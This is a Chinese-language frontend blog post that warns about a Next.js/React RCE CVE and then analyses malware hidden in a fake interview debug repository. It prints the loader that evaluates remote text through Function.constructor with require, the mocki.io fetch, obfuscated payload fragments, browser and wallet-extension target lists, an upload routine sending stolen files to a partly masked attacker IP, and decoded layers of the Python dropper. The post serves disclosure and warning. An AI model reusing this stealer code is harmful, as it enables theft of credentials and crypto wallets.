Blog

/

Frontend

Next.js RCE 駭客攻擊

RCE Next.js CVE 10

Posted at

2025年12月5日

Posted on

Frontend

CVE (常見漏洞與暴露)

Vercel 12/3 發布 CVE-2025-55182 (CVE 10) 安全漏洞,請大家盡速更新 Next.js 和 React 到較新的 patch:

https://nextjs.org/blog/CVE-2025-66478

而 CVE 揭露的究竟是一個怎樣的風險?漏洞和暴露的差別是什麼?可以將漏洞想像成 code 中真實的一個洞,這讓攻擊者能夠從這個洞繞過正門,直接取得系統的存取權限,並發動攻擊。暴露則是 code 中的另一種錯誤,賦予攻擊者潛伏在電腦中的能力,並蒐集 cookie, 憑證或個資等重要資訊。

Technical Interview ft. RCE Hacker

我朋友最近在找工程師工作,某家公司給了一份 debug 作業,叫他 clone 下來跑跑看。整份作業看起來都很正常:「公開」的 repo,也沒有要求你做什麼危險的事,面試題目也有一定的挑戰性,他就栽進去 Debug了。節錄其中一題下來:

  • This site is mobile-responsive. However, there's a bug in the center of the landing page that doesn't fit this, and it's immediately visible to the naked eye. Please let me know what's causing this bug and how to fix it.

說真的我遇到這樣的情境,我想也想不到會是詐騙:公開的程式碼、很認真的面試題,是我我也會直接 Clone 下來再說,丟給 Claude 幫我看看。結果 clone 下來後,應該是當天, 12/3 工程師朋友就中毒了。

中毒原始碼解析

Hint: 瀏覽此段 code 不會暴露在風險中,若要進一步挑戰,請自行負責相關風險控管。已知 Docker 環境檔不住此類 RCE 攻擊

const errorHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      console.error('Invalid error format. Expected a string.');
      return;
    }

    const createHandler = (errCode) => {
      try {
        const handler = new (Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };

    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error('Handler function is not available.');
    }
  } catch (globalError) {
    console.error(
      'Unexpected error inside errorHandler:',
      globalError.message
    );
  }
};
// Get Logged In User Orders
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
  const orders = await Order.find({ user: req.user._id });

  if (!orders) {
    return next(new ErrorHandler("Order Not Found", 404));
  }

  res.status(200).json({
    success: true,
    orders,
  });
});
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  axios
    .get('https://api.mocki.io/v2/5lqh5wzt/tracks/errors/376890')
    .then((res) => errorHandler(res.data.cookie))

其中的這段動態生成函式是整個攻擊的核心:

const handler = new (Function.constructor)('require', errCode);

這行在做什麼?看起來像奇怪的動態錯誤處理,其實是把 require 權限交給外部字串,開啟完整 RCE 能力。只要攻擊者控制 errCode,他就能:讀檔、寫檔、掃 .env、執行 shell、安裝木馬。而傳進來的 errCode,則是來自這裡:

axios.get('https://api.mocki.io/v2/5lqh5wzt/tracks/errors/376890')
  .then((res) => errorHandler(res.data.cookie))

這代表什麼?Server 端去打外部 API,把回傳內容當成「錯誤字串」,再把這個字串當成「可執行程式碼」,只要那個 API 回傳的不是錯誤訊息,而是:

require('child_process').exec('...')

你的伺服器就會原地執行它

而後續這個 mocki API 到底在變什麼把戲,也有神人解析出來了,感謝 Rayologist 大大。這個 API 會去 mocki.io 這個 JSON store 拿到一段 {"cookie": "<obfuscated codes>"} 的內容 (節錄)

{"cookie" : "{(function(_0x18e51d,_0x33dfd5){function _0x1ed1c1(_0x2e7f26,_0x5e214f,_0x52f625,_0x12 parseInt(_0x1ed1c1(-0x9d,-0x56,-0x115,-0xb1))/(-0x17*-0x13b+0x1cce+-0x3919)+-parseInt(_0x1ed1c1(-0 parseInt(_0x1ed1c1(-0xec, -0x14c, -0xe3,-0x107))/(0x24d4+0x3*-0xc15+-0x8f)*(-parseInt(_0x1ed1c1(-0x12 parseInt(_0x1ed1c1(-0xe5,-0x109,-0x125,-0x10f))/(0x1*-0x189d+-0x2083+0x6*0x987)*(-parseInt(_0x1ed1c (_0x2ead, 0x1ae6d*0x4+-0x2*0x789b5+-0x29*-0x7006)); const _0x517695=(function() { const _0x40b35f={};_e _0x8badb3(_0x22b0b2,_0x1d9338,_0x3693bc,_0x10e89c){return _0x3ee6(_0x3693bc--0x293,_0x1d9338); }cor 0x35a,_0x1216cc); } if(_0x5157ab[_0x2d7d6b(0x47f,0x514, 0x4e5,0x594)](_0x5157ab[_0x2d7d6b(0x3c4,0x4a2 ()),_0x120e85=_0x517695(this,function() { const _0x17d34c={};_0x17d34c[_0x108eb5(-0x268,-0x2a9,-0x307 _0x120e85[_0x108eb5(-0x299,-0x2a9,-0x25d,-0x358)]()[_0x108eb5(-0x255,-0x182,-0x2f8,-0x26d)](_0x2983 _0x1e1e3c={'sCZaL':function(_0x4cc1a9,_0x3c0386){return _0x4cc1a9(_0x3c0386); }, 'lVIrb': _0x1da80b(-E {'zfrub':function(_0x437a03,_0xd65c0c) { function _0x40b105(_0x5e7770,_0x24cec8,_0x112862,_0x180d79)-_0x3ee6(_0x10d644-0xc0,_0x3a0eae); } return _0x1e1e3c[_0x37fb27(0x368,0x318,0x234,0x2c2)](_0x2537fe, 0x33d,_0x4e772a); } if(_0x570fc7[_0x207422(0x54e, 0x4c7,0x509,0x594)](_0x570fc7[_0x207422(0x5a9,0x595. _0xd350dd(_0x25272c,_0x47555f,_0x2e460c,_0xc3ee43) { return _0x207422(_0xc3ee43,_0x47555f-0x1ba,_0x4 (_0xeb6cf6=>_0xeb6cf6[_0x207422(0x569,0x589,0x4e8,0x4fb)+'r']())[_0x207422(0x58e, 0x54c, 0x4db, 0x41a-_0x4d3441(_0x873e3e)),_0x59a0bc[_0x2e4a23(0x1fc,0x277,0x21d, 0x258)](_0xc0ca67, _0x1ddfac),_0x3b8d23 {'WcYDr':function(_0x12d57d,_0xf995d9){return _0x12d57d(_0xf995d9);}, 'UHajx':function(_0x2223b3,_0x

仔細看這個 cookie 的內容,可以發現是一串被 obfuscated 的程式碼。如果上 deobfuscated.io 這類解碼工具,就可以看到部分還原後的程式碼。最先會看到幾個掃描目標清單:

  • 各種加密貨幣錢包的 Chrome extension 設定與資料(甚至包含 seed/私鑰)

  • 瀏覽器幫忙儲存的各網站上登入資訊

  • Apple Keychain 相關資料

  • 還有一些類似的機敏資料

const R = [
  "Local/BraveSoftware/Brave-Browser",
  "BraveSoftware/Brave-Browser",
  "BraveSoftware/Brave-Browser"
];

const A = [
  "Local/Google/Chrome",
  "Arc/User Data",
  "google-chrome"
];

const Q = [
  "Local/Google/Chrome",
  "Google/Chrome",
  "google-chrome"
];

const X = [
  "Roaming/Opera Software/Opera Stable",
  "com.operasoftware.Opera",
  "opera"
];

const Bt = [
  "nkbihfbeogaeaoehlefnkodbefgpgknn",
  "ejbalbakoplchlghecdalmeeeajnimhm",
  "fhbohimaelbohpjbbldcngcnapndodjp",
  "ibnejdfjmmkpncpebklmnkoeoihofec",
  "bfnaelmomeimhlpmgjnjophhpkkoljpa",
  "aeachknmefphheppcionboohckonoeemg",
  "hifafgmccddpekplomjjkcfgodnhcellj",
  "nngceckbapebfimnlniliaahkandclblb",
  "jblndlipeogpafnldhgmapagcccfchpi",
  "acmacodkjbdgmoleebolmdjonilkdbch",
  "dlcobpjiigpikoobohmabehnhmfoodbb",
  "aeblfdkhhhdcdjpifhhbdiojplfjncoa",
  "mcohilncbfahbmgdjkbpemcciolgccge",
  "agoakfejjabomempkjlepdfilaleeobhb",
  "omaabbefbmijiedngplfjmnoppbclkk",
  "aholpfdialjgjfhomihkjbmgjidlcdno",
  "nphplpgoakhhjchkkhmiggakijnkhfnd",
  "penjlddjkigpnkllboccdgcckepkcbn",
  "lgmpcpgpngdoalbeoldeaifclnhafa",
  "fldfpgipfncgndfolcbkdeeknbbbnhcc",
  "bhhhlbepdkbapadjdnnojkbgioiodbic",
  "aeachknmefphheppcionboohckonoeemg",
  "gjnckgkfmgnmibbkoficdidcljeaaaheg",
  "afbcbjpbbpfadlkmmhclhkeeodmamcflc"
];

const uploadFiles = async (
  _0x20e869,
  _0x21ba54,
  _0x2134ab,
  _0x55dbff
) => {
  let _0x29a230;

  if (!_0x20e869 || _0x20e869 === '') {
    return [];
  }

找到這些資料後,程式就會把它們打包並上傳到駭客的伺服器,而且上傳的伺服器 IP 和 port 是直接寫死在程式碼裡的。

const Upload = (_0x35f256, _0x42c357) => {
  const _0x21298e = {
    type: '3',
    hid: "303_" + hostname,
    uts: _0x42c357,
    multi_file: _0x35f256
  };

  try {
    if (_0x35f256.length > 0) {
      const _0x53b5bb = {
        url: "http://<太危險遮起來>.51:1224/uploads",
        formData: _0x21298e
      };

      request.post(
        _0x53b5bb,
        (_0x3aedaf, _0x2714fb, _0x5e8db4) => {}
      );
    }
  } catch (_0x237dff) {}
};

const UpAppData = async (_0x47bb20, _0x3e1219, _0x45386b) => {
  try {
    let _0x53556d = '';

    _0x53556d =
      'd' == platform[0]
        ? getAbsolutePath('~/') +
          "/Library/Application Support/" +
          _0x47bb20[1]
        : 'l' == platform[0]
        ? getAbsolutePath('~/') +
          "/.config/" +
          _0x47bb20[2]
        : getAbsolutePath('~/') +
          "/AppData/" +
          _0x47bb20[0] +
          "/User Data";

    await uploadFiles(
      _0x53556d,
      _0x3e1219 + '_',
      0 == _0x3e1219,
      _0x45386b
    );
  } catch (_0x1b69c9) {}
};

接著會從駭客的伺服器下載惡意 Python 程式碼及執行環境,來在你的電腦直接執行這些惡意程式。

下載下來的兩個 Python script,本身內容是「壓縮後再做 base64 編碼」,長得像 b'T+Bac52fd' 這種形式。當嘗試解壓縮並 base64 decode 時,會再得到另一串「壓縮+base64」的字串,如此重複多次。其中一個 script 要重複解到第 64 次才會得到完整程式碼,另一個則要解到第 128 次。

LVZwzdD1mohNrJy+G7QjqiFOxYPdZ6s4RjaL9xnb8xx

  ==== Layer 125 (first 400 chars) ====
  
exec((_)(b'bMwRV8g///98+7ifyA8Ukv9cSS93LHQne2Sk9e7lsxdQNCbr7bsogvYHXsmP8aH6i0j77faF6b9xf91M19zvpkNoiIoj64W6eLXt0gNle190 nSU/dxxdwI+CMJPAVbFy3VMPQEX+Ay7w4A2mYgqMvI20oS2/4QlHUEmoHFLjfKbtPB2zyRi8EZB31H48XL7mi9kRqamEvhiay4o/aYx2YukSEU4gmQAM9aJ cK0RIXKsd0UwlJ4YdVQEqkE6X08mA14rjJpmPx9GRAuN42rh5rFFDgs0zAAZl/6oUw60u3xQoIXIZJbtsYEHRU7NlJWY2q30p3pVRhdxDwnsUGLCdBWkscC tZZnKdg8XjhBhWrdgr6/CfYdjoCvshqjBgWfDrDFCkU

  ==== Layer 126 (first 400 chars) ====
  
exec((_)(b'UQvUT+D/3S4ohm0bM0Wmd5xp3vPfbs8J9XoV8ceo+/6W/6F/3Z0010msyKBGjeoG/VEGd1PfKAR/VL+855zn/JPPPk2xvaX6iF1u1UvazS2e k+dD3RyaWqNHcPagbqZvFiqD4fcn7me08ZH+jZ3PBj7vyNLX8i0+Le37zWscV7exHkkRrGHHHaI+D9tbhPfe1tf1bfzdXna0zUDvwhTgR2svnlfjCPY/ld5 zZs7QgLuHHvPuBC4rocw44C7nY073M6d37MQLuirZGx4NB2N6nIG48df0Lvv6zxdG/FHkRvteDWeHc/0Z7KnPP37PVMV9vcm266Hk0pTUz0MYf106WL2mNx BY0jPDeEbzfu043w6n22uqhnaX57f7/zTPQ5ZPRgqWs

  ==== Layer 127 (first 400 chars) ====
  
try:

  ##### Imports #####

  import subprocess
  import traceback
  import warnings
  import platform
  import tempfile
  import winreg
  import ctypes
  import random
  import base64
  import zlib
  import time
  import sys
  import os
    
  ##### Supress Warnings #####

  try:
    warnings.filterwarnings ("ignore")
  except:
    pass

  ##### Globals ###
[+] no more layer found, stop at layer 127

最後就會執行這兩個還原出來的程式碼:一個負責再次全面搜尋電腦中的各種機敏資訊,另一個則是把電腦變成礦機,在背景持續幫駭客挖礦。

  • 目前官方建議 Next.js 升級至 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

  • 目前官方建議 React 升級至 19.0.1, 19.1.2, and 19.2.1

特別感謝 Rayologist 破譯

More Blog